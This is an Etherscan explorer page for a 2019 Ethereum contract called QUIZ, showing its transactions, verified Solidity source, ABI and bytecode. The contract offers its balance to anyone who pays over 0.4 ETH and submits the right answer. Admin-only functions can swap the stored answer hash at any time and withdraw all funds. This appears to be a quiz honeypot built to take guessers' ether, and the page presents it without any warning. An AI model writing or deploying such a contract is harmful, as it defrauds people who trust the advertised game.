ETH Price: $2,675.72 (+1.76%)

Contract

0x4ab2E8b268ae0d5DaCA0bfE8DccfE674c07c7B9D
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Stop75622612019-04-13 22:15:312132 days ago1555193731IN
0x4ab2E8b2...4c07c7B9D
0 ETH0.000029691
Start75533352019-04-12 13:14:512133 days ago1555074891IN
0x4ab2E8b2...4c07c7B9D
8 ETH0.000025951

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block
From
To
75622612019-04-13 22:15:312132 days ago1555193731
0x4ab2E8b2...4c07c7B9D
8 ETH
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Contract Source Code Verified (Exact Match)

Contract Name:
QUIZ

Compiler Version
v0.4.25+commit.59dbf8f1

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2019-04-12
*/

pragma solidity ^0.4.25;

contract QUIZ
{
    function Try(string _response) external payable 
    {
        require(msg.sender == tx.origin);

        if(responseHash == keccak256(_response) && msg.value > 0.4 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }

    string public question;

    bytes32 responseHash;

    mapping (bytes32=>bool) admin;

    function Start(string _question, string _response) public payable isAdmin{
        if(responseHash==0x0){
            responseHash = keccak256(_response);
            question = _question;
        }
    }

    function Stop() public payable isAdmin {
        msg.sender.transfer(this.balance);
    }

    function New(string _question, bytes32 _responseHash) public payable isAdmin {
        question = _question;
        responseHash = _responseHash;
    }

    constructor(bytes32[] admins) public{
        for(uint256 i=0; i< admins.length; i++){
            admin[admins[i]] = true;        
        }       
    }

    modifier isAdmin(){
        require(admin[keccak256(msg.sender)]);
        _;
    }

    function() public payable{}
}

Contract Security Audit

Contract ABI

[{"constant":false,"inputs":[{"name":"_response","type":"string"}],"name":"Try","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"question","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"Stop","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_response","type":"string"}],"name":"Start","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_responseHash","type":"bytes32"}],"name":"New","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"inputs":[{"name":"admins","type":"bytes32[]"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

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Deployed Bytecode

0x60806040526004361061006c5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416633853682c811461006e5780633fad9ae014610081578063bedf0f4a1461010b578063c76de3e914610113578063ed8df1641461019d575b005b61006c60048035602481019101356101eb565b34801561008d57600080fd5b50610096610264565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100d05781810151838201526020016100b8565b50505050905090810190601f1680156100fd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61006c6102f2565b6040805160206004803580820135601f810184900484028501840190955284845261006c94369492936024939284019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375094975061035d9650505050505050565b6040805160206004803580820135601f810184900484028501840190955284845261006c943694929360249392840191908190840183828082843750949750509335945061040f9350505050565b3332146101f757600080fd5b8181604051808383808284376040519201829003909120600154149350508215915061022c9050575067058d15e17628000034115b15610260576040513390303180156108fc02916000818181858888f1935050505015801561025e573d6000803e3d6000fd5b505b5050565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156102ea5780601f106102bf576101008083540402835291602001916102ea565b820191906000526020600020905b8154815290600101906020018083116102cd57829003601f168201915b505050505081565b604080516c0100000000000000000000000033028152815190819003601401902060009081526002602052205460ff16151561032d57600080fd5b6040513390303180156108fc02916000818181858888f1935050505015801561035a573d6000803e3d6000fd5b50565b604080516c0100000000000000000000000033028152815190819003601401902060009081526002602052205460ff16151561039857600080fd5b600154151561026057806040518082805190602001908083835b602083106103d15780518252601f1990920191602091820191016103b2565b51815160209384036101000a600019018019909216911617905260405191909301819003902060015550845161025e93506000925090850190610464565b604080516c0100000000000000000000000033028152815190819003601401902060009081526002602052205460ff16151561044a57600080fd5b815161045d906000906020850190610464565b5060015550565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106104a557805160ff19168380011785556104d2565b828001600101855582156104d2579182015b828111156104d25782518255916020019190600101906104b7565b506104de9291506104e2565b5090565b6104fc91905b808211156104de57600081556001016104e8565b905600a165627a7a72305820289b4e518b77d1720634134ee51d3f4115cd37ccec89f99f0f78e9a1c7bfe2b70029

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000037c3c8130e56570ccae30e81f164fe43f083b7f67c494989f65847bf7885b2618ac875aefd920eb697e291f9414a2103c99426ce8ef319508f7fb321d71e92e858f59c0eee0b6ed0c521c2609770180e5d7de0e1de3a415621ca6ba99c914400e

-----Decoded View---------------
Arg [0] : admins (bytes32[]): System.Byte[],System.Byte[],System.Byte[]

-----Encoded View---------------
5 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000020
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [2] : 7c3c8130e56570ccae30e81f164fe43f083b7f67c494989f65847bf7885b2618
Arg [3] : ac875aefd920eb697e291f9414a2103c99426ce8ef319508f7fb321d71e92e85
Arg [4] : 8f59c0eee0b6ed0c521c2609770180e5d7de0e1de3a415621ca6ba99c914400e


Swarm Source

bzzr://289b4e518b77d1720634134ee51d3f4115cd37ccec89f99f0f78e9a1c7bfe2b7

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